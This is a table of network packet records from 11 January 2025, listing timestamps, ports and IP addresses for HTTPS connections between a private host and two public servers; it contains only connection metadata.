Jan 11, 2025 07:54:34.371068954 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.371227026 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.371258974 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.371520996 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.372687101 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.383920908 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384047985 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384104013 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384243011 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384335995 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384351015 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.384424925 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.384490013 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384583950 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384705067 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384712934 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.384819031 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.384896040 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.384985924 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.385157108 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.396960020 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397238970 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397279978 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397304058 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397396088 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.397504091 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397541046 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397624016 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397716045 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.397813082 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397849083 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397931099 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.397969961 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.397993088 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.400007963 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.400319099 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.400358915 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.400473118 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.400579929 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.400616884 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.400697947 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.400866032 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.400907040 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.401088953 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.401129961 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.401336908 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.401377916 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.401556015 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.401638031 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.401751041 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.401787996 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.401871920 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.402050972 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.402095079 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.402276993 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.402391911 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.402517080 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.402627945 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.402699947 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.402807951 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.402823925 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.402926922 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.403049946 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.403160095 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.403178930 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.403289080 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.403342009 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.403455973 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.403491974 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.403572083 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.403876066 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.405227900 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.407437086 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.407480001 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.407537937 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.407741070 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.407866001 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.407948971 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.407984018 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408094883 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408261061 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408301115 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408474922 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408513069 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408678055 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408720016 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408843994 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.408926964 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.408951044 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.409049988 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.411700010 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.413053036 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.422597885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.422641039 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.422805071 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.422847033 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.423022985 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.423039913 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.423039913 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.423094988 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.423177958 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.423412085 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.423454046 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.423604965 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.433279037 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.433342934 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.433537960 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.433579922 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.433763981 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.433804989 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.433900118 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.434007883 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.434046030 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.434129000 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.434354067 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.446407080 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.446446896 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.446604013 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.446645975 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.446872950 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.446911097 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.447074890 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.447089911 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.447138071 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.447218895 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.447395086 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.447758913 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.455449104 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.455492020 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.455673933 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.455717087 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.455915928 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.455956936 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.456051111 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.456231117 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.456401110 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.456412077 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.456459045 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467021942 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467087984 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467230082 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467333078 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467448950 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467539072 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467664003 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467788935 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.467900991 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.468008995 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.468054056 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.478657007 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.478751898 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.478962898 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.479020119 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.479197025 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.479270935 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.479458094 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.479494095 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.479645967 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.479681015 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.479789019 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.479880095 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.493773937 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.494880915 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.499821901 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.500077009 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.505114079 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.505182028 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.506198883 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.507648945 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.507684946 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.507896900 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.507949114 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508084059 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508138895 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508326054 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508380890 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508621931 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508676052 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508857012 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508896112 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.508984089 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.509063005 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.509092093 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.509182930 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.509299040 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.509305954 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.509454012 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.509540081 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.509659052 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.509783983 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.509908915 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.510023117 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.510170937 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.510279894 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.510411024 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.510476112 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.510508060 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.510782957 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.510818958 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.510967016 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.511017084 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.511219978 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.511255026 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.511303902 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.511502028 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.511558056 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.511723995 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.511771917 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.511790037 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.523633957 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.528165102 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.528493881 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.528522968 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.528551102 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.531682968 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.537514925 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.537785053 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.537842035 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.537919044 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.537919044 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.538017035 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538048029 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538233042 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538403034 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538438082 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538597107 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538647890 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538861036 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538916111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538937092 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.538955927 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.539201021 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.555227041 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.566257954 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.568151951 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.571922064 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.574958086 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.597141981 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.597665071 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.597702980 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.597872972 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.597945929 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598115921 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598151922 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598263025 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598478079 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598512888 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598676920 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598731041 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598902941 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598968029 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.598984003 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.599143028 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.599232912 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.599358082 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.599446058 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.599565983 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.599685907 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.599812031 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600001097 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600085974 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.600126982 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600195885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600282907 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600419998 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600533962 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600583076 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600775957 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600811958 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.600994110 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601126909 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601247072 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601262093 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.601349115 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601469040 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601589918 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601670027 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601789951 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601918936 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.601979017 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.602122068 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.602164030 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.602184057 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.602221966 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.602353096 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.612576008 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.616622925 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.616975069 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.617029905 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617062092 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617130041 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617369890 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617404938 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617528915 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617671967 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617726088 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617954969 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.617989063 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.618007898 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.618248940 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.623591900 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.623644114 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.623806953 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.623981953 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624038935 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624223948 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624258995 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624416113 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624475956 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624650002 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624702930 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624762058 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.624855995 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.624994993 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625031948 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.625122070 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625214100 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625344038 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625428915 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625549078 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625669003 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625720024 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625895023 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.625946999 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.625977993 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.626142025 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.626230955 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.626235962 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.626346111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.626487017 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.626575947 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.626694918 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.626816988 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.626969099 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.632642031 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.632993937 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.633030891 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.633196115 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.633230925 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.633316040 CET	61038	443	192.168.11.20	23.45.46.202
